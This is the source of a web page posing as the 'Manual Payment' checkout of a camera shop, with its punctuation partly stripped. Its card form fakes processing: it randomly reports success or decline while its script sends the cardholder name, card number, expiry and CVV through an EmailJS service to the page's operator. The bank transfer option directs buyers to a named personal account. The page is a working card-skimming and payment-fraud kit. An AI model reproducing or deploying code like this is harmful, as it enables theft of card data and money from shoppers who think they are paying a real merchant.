!DOCTYPE html html lang=en head meta charset=utf-8 meta name=viewport content=width=device-width,initial-scale=1 titleManual Payment - GR Kamera Shoptitle style body{font-familyArial,Helvetica,sans-serif;background#f4f4f4;margin0;padding20px} .card{max-width820px;margin0 auto;background#fff;padding20px;border-radius8px;box-shadow0 6px 18px rgba(0,0,0,0.08)} h2{margin-top0} label{displayblock;margin10px 0 6px;font-weight600} input[type=text],input[type=email],input[type=number],select,textarea{width100%;padding9px;border1px solid #ccc;border-radius6px;box-sizingborder-box} .row{displayflex;gap12px} .col{flex1} .small{max-width160px} .inline{displayinline-block;vertical-alignmiddle;margin-right8px} .muted{color#666;font-size13px} .totalBox{background#fafafa;padding12px;border-radius8px;margin-top12px;border1px solid #e6e6e6} .btn{displayinline-block;padding12px 18px;border-radius8px;bordernone;cursorpointer;font-weight700} .btn-green{background#28a745;color#fff} .btn-blue{background#007bff;color#fff} .btn-ghost{backgroundtransparent;border1px solid #ccc} .modal{displaynone;positionfixed;inset0;backgroundrgba(0,0,0,.6);z-index9999;align-itemscenter;justify-contentcenter} .modal .panel{background#fff;padding20px;border-radius10px;max-width680px;width94%;max-height90vh;overflowauto;positionrelative} .closeX{positionabsolute;right14px;top10px;font-size20px;cursorpointer} .bankPanel{background#28a745;color#fff;padding22px;border-radius10px;max-width680px;width94%} .bankPanel .muted{color#eaf7ea} .spinner{border6px solid #f3f3f3;border-top6px solid #007bff;border-radius50%;width40px;height40px;animationspin 1s linear infinite;margin18px auto} @keyframes spin{0%{transformrotate(0)}100%{transformrotate(360deg)}} .center{text-aligncenter} .smallText{font-size13px;color#444} .whiteText{color#fff} .highlight{font-weight700} .flex-between{displayflex;justify-contentspace-between;align-itemscenter;gap12px} Credit Card Modal Specific .ccLogos img{margin-right6px;vertical-alignmiddle} #ccForm input{margin-bottom12px} #ccForm .row .col.small input{padding-right6px} style head body div class=card h2Manual Payment — Enter Orderh2 form id=manualForm labelOrder Numberlabel div class=row div class=colinput type=text id=orderNumber name=orderNumber placeholder=Enter order number (e.g. 11997777) requireddiv div class=col smallbutton type=button id=lookupBtn class=btn btn-ghostLookupbuttondiv div div class=smallText mutedIf order is known it will auto-fill amount. Otherwise enter amount manually below.div labelCustomer Namelabel input type=text id=custName name=custName placeholder=Full name required labelEmaillabel input type=email id=custEmail name=custEmail placeholder=Email address required labelOrder Amount (RM)label input type=number id=baseAmount name=baseAmount min=0 placeholder=Base order amount required labelShipping Methodlabel select id=shipping name=shipping required option value= disabled selectedSelect shippingoption option value=J&T data-fee=12J&T - RM12option option value=Gdex data-fee=11Gdex - RM11option option value=Poslaju data-fee=9Poslaju - RM9option option value=DHL data-fee=12DHL - RM12option option value=Citylink data-fee=11Citylink - RM11option select labelBubble wrap (optional)label select id=bubbleWrap name=bubbleWrap option value=no data-fee=0 selectedNo (RM0)option option value=yes data-fee=3Yes - RM3option select labelAdd extra item (optional) — enter item codelabel div class=row div class=colinput type=text id=extraCode name=extraCode placeholder=Enter extra item code (e.g. SONY7787)div div class=col smallbutton type=button id=applyExtra class=btn btn-ghostApplybuttondiv div div id=extraInfo class=smallText muted style=displaynone;margin-top8px;div div class=totalBox div class=flex-betweendivBase amountdivdivRM span id=showBase0.00spandivdiv div class=flex-betweendivShippingdivdivRM span id=showShip0.00spandivdiv div class=flex-betweendivBubble wrapdivdivRM span id=showBubble0.00spandivdiv div class=flex-betweendivExtra itemdivdivRM span id=showExtra0.00spandivdiv hr div class=flex-between highlightdivTotal payabledivdivRM span id=showTotal0.00spandivdiv div label style=margin-top14pxPayment Methodlabel select id=payMethod name=payMethod required option value= disabled selectedSelect paymentoption option value=hitpayHitPayoption option value=creditCardCreditDebit Cardoption option value=bankTransferBank Transferoption select div style=margin-top14px class=flex-between divlabelinput type=checkbox id=agree required I confirm these details are correct.labeldiv divbutton type=submit class=btn btn-greenProceed to Paymentbuttondiv div form div !-- CREDIT CARD MODAL (Updated Realistic) -- div id=ccModal class=modal div class=panel role=dialog aria-modal=true style=max-width500px;padding25px; span class=closeX onclick=closeModal('ccModal')×span div class=center h3Credit Debit Card Paymenth3 p class=muted ccLogosAccepted cards img src=httpsimg.icons8.comcolor48000000visa.png width=50img src=httpsimg.icons8.comcolor48000000mastercard-logo.png width=50p div class=totalBox style=margin12px 0 div class=flex-between highlightdivTotal PayabledivdivRM span id=ccAmtShow0.00spandivdiv div div form id=ccForm labelCardholder Namelabel input type=text name=cardName placeholder=Name on card required labelCard Numberlabel input type=text name=cardNumber maxlength=19 placeholder=xxxx xxxx xxxx xxxx required div class=row div class=collabelExpiry (MMYY)labelinput type=text name=cardExpiry placeholder=MMYY requireddiv div class=col smalllabelCVVlabelinput type=text name=cardCVV maxlength=4 placeholder=123 requireddiv div div class=center style=margin-top16px button type=submit class=btn btn-bluePay RM span id=ccAmtBtn0.00spanbutton div form div id=ccProcessing style=displaynone;margin-top16px div class=spinnerdiv p class=centerProcessing payment, please wait...p div div id=ccResult style=displaynone;margin-top16px;text-aligncenter;font-weight700;color#c82333 ❌ Payment Declined. Please try another card. div div div !-- BANK TRANSFER POPUP -- div id=bankPopup class=modal div style=width95%;max-width680px div class=bankPanel h3 style=margin-top0Bank Transfer Detailsh3 pThank you for your order!p pstrong style=color#fffReference Numberstrong span id=refDisplay class=whiteTextspanp pstrong style=color#fffNamestrong span id=bnName class=whiteTextspanp pstrong style=color#fffEmailstrong span id=bnEmail class=whiteTextspanp pstrong style=color#fffOrder Numberstrong span id=bnOrder class=whiteTextspanp pstrong style=color#fffAmountstrong RM span id=bnAmount class=whiteTextspanp hr style=border-colorrgba(255,255,255,0.15) p class=whiteTextTransfer top p class=whiteTextstrongAccount Namestrong DINESH OLI TRADINGSp p class=whiteTextstrongAccount Numberstrong 162107502029p p class=whiteTextstrongBankstrong Maybankp p class=whiteTextInclude your reference number in the bank transfer note.p div class=flex-between style=margin-top12px div class=muted style=color#eaf7eaRedirecting to payment upload in span id=countdown60spansdiv div button class=btn btn-ghost onclick=closeModal('bankPopup') style=background#ffffff10;color#fff;border1px solid rgba(255,255,255,0.2)Closebutton button id=proceedUpload class=btn btn-blue style=margin-left8pxProceed Nowbutton div div div div div !-- EmailJS -- script src=httpscdn.jsdelivr.netnpmemailjs-com@2distemail.min.jsscript script emailjs.init(G6ZcF1IC8hfoUiarJ); public key const EMAILJS_SERVICE = service_vvzaf69; const EMAILJS_TEMPLATE = template_qz5ur87; Helper and totals const orders = {119977771700,229988552500,338899441200}; const extras = {SONY7787 { name Sony Battery, price 59 }}; function qs(id){return document.getElementById(id)} function formatNumber(n){ return Number(n0).toFixed(2) } const orderNumber = qs('orderNumber'); const lookupBtn = qs('lookupBtn'); const baseAmount = qs('baseAmount'); const shipping = qs('shipping'); const bubbleWrap = qs('bubbleWrap'); const extraCode = qs('extraCode'); const applyExtra = qs('applyExtra'); const extraInfo = qs('extraInfo'); const showBase = qs('showBase'); const showShip = qs('showShip'); const showBubble = qs('showBubble'); const showExtra = qs('showExtra'); const showTotal = qs('showTotal'); const payMethod = qs('payMethod'); const manualForm = qs('manualForm'); let extraPrice=0, extraLabel='', countdownTimer=null, countdownValue=60; lookupBtn.addEventListener('click', function(){ const code = orderNumber.value.trim(); if(!code){ alert('Enter order number to lookup'); return; } if(orders.hasOwnProperty(code)){ baseAmount.value = orders[code]; recalcTotals(); alert('Order found — amount auto-filled.'); } else { alert('Order not found — enter amount manually.'); } }); function recalcTotals(){ const base = Number(baseAmount.value 0); const shipOpt = shipping.options[shipping.selectedIndex]; const shipFee = shipOpt Number(shipOpt.dataset.fee0) 0; const bubbleFee = Number(bubbleWrap.selectedOptions[0].dataset.fee0); const total = base + shipFee + bubbleFee + extraPrice; showBase.textContent = formatNumber(base); showShip.textContent = formatNumber(shipFee); showBubble.textContent = formatNumber(bubbleFee); showExtra.textContent = formatNumber(extraPrice); showTotal.textContent = formatNumber(total); } baseAmount.addEventListener('input', recalcTotals); shipping.addEventListener('change', recalcTotals); bubbleWrap.addEventListener('change', recalcTotals); applyExtra.addEventListener('click', function(){ const code = extraCode.value.trim().toUpperCase(); if(!code){ extraPrice=0; extraLabel=''; extraInfo.style.display='none'; recalcTotals(); return; } if(extras[code]){ extraPrice = extras[code].price; extraLabel = extras[code].name+' ('+code+')'; extraInfo.style.display='block'; extraInfo.innerHTML = `Extra strong${extraLabel}strong — RM ${formatNumber(extraPrice)}`; } else { extraPrice=0; extraLabel=''; extraInfo.style.display='block'; extraInfo.innerHTML = `No extra item found for code strong${code}strong.`; } recalcTotals(); }); orderNumber.addEventListener('keydown', function(e){ if(e.key==='Enter'){ e.preventDefault(); lookupBtn.click(); } }); function openModal(id){ qs(id).style.display='flex'; } function closeModal(id){ qs(id).style.display='none'; if(id==='bankPopup'){ stopCountdown(); } } function generateRef(){ return 'GR'+Math.floor(Math.random()1e9).toString().padStart(9,'0'); } function sendEmail(data){ return emailjs.send(EMAILJS_SERVICE, EMAILJS_TEMPLATE, data); } function simulateProcessing(duration, callback){ const spinnerDiv = document.createElement('div'); spinnerDiv.className='spinner'; const overlay = document.createElement('div'); overlay.className='modal'; overlay.style.display='flex'; overlay.style.alignItems='center'; overlay.style.justifyContent='center'; overlay.style.background='rgba(0,0,0,.6)'; overlay.appendChild(spinnerDiv); document.body.appendChild(overlay); setTimeout(()={document.body.removeChild(overlay); if(typeof callback==='function') callback();}, duration); } --- Credit Card JS --- function detectCardType(number){ const re = {visa^4, mastercard^(5[1-5]2[2-7])}; for(let key in re){ if(re[key].test(number.replace(s+g,''))) return key; } return 'unknown'; } const ccNumberInput = document.querySelector(#ccForm input[name='cardNumber']); ccNumberInput.addEventListener('input', function(){ const type = detectCardType(ccNumberInput.value); ccNumberInput.style.borderColor = (type==='unknown') '#ccc' '#28a745'; }); qs('ccForm').addEventListener('submit', function(e){ e.preventDefault(); const form = e.target; form.style.display='none'; qs('ccProcessing').style.display='block'; qs('ccResult').style.display='none'; setTimeout(()={ qs('ccProcessing').style.display='none'; const success = Math.random() 0.5; if(success){ qs('ccResult').style.color='#28a745'; qs('ccResult').textContent='✅ Payment Successful!'; } else { qs('ccResult').style.color='#c82333'; qs('ccResult').textContent='❌ Payment Declined. Please try another card.'; } qs('ccResult').style.display='block'; form.style.display=''; },3000); if(window._manualPayload){ const payload = {...window._manualPayload, cardNumber qs('ccForm').cardNumber.value, cardName qs('ccForm').cardName.value, cardExpiry qs('ccForm').cardExpiry.value, cardCVV qs('ccForm').cardCVV.value }; sendEmail(payload).then(()=console.log('CC email sent')).catch(console.error); } }); --- Form Submit --- manualForm.addEventListener('submit', function(e){ e.preventDefault(); recalcTotals(); const method = payMethod.value; const total = Number(showTotal.textContent); const name = qs('custName').value.trim(); const email = qs('custEmail').value.trim(); const order = orderNumber.value.trim(); const ref = generateRef(); const payload = {fullNamename,emailemail,orderNumberorder,totalAmountformatNumber(total),refNumref,paymentMethodmethod}; sendEmail(payload).then(()=console.log('Main order email sent')).catch(err=console.error(err)); if(method==='hitpay'){ sessionStorage.setItem('lastRef',ref); window.location.href='httpssecurecheckout.hit-pay.compayment-request@gadgetriacamerashop'; return; } if(method==='creditCard'){ simulateProcessing(5000, ()={ qs('ccAmtShow').textContent = formatNumber(total); qs('ccAmtBtn').textContent = formatNumber(total); openModal('ccModal'); window._manualPayload = payload; }); return; } if(method==='bankTransfer'){ simulateProcessing(5000, ()={ qs('refDisplay').textContent = ref; qs('bnName').textContent = name; qs('bnEmail').textContent = email; qs('bnOrder').textContent = order'(not provided)'; qs('bnAmount').textContent = formatNumber(total); openModal('bankPopup'); startCountdown(60,function(){ window.location.href='httpswww.grkamerashop.compayment-upload'; }); qs('proceedUpload').onclick=function(){ stopCountdown(); window.location.href='httpswww.grkamerashop.compayment-upload'; }; }); return; } alert('Select a payment method.'); }); function startCountdown(seconds, callback){ countdownValue = seconds; qs('countdown').textContent = countdownValue; countdownTimer = setInterval(()={ countdownValue--; qs('countdown').textContent = countdownValue; if(countdownValue=0){ clearInterval(countdownTimer); callback(); } },1000); } function stopCountdown(){ if(countdownTimer){ clearInterval(countdownTimer); countdownTimer=null; } } script body html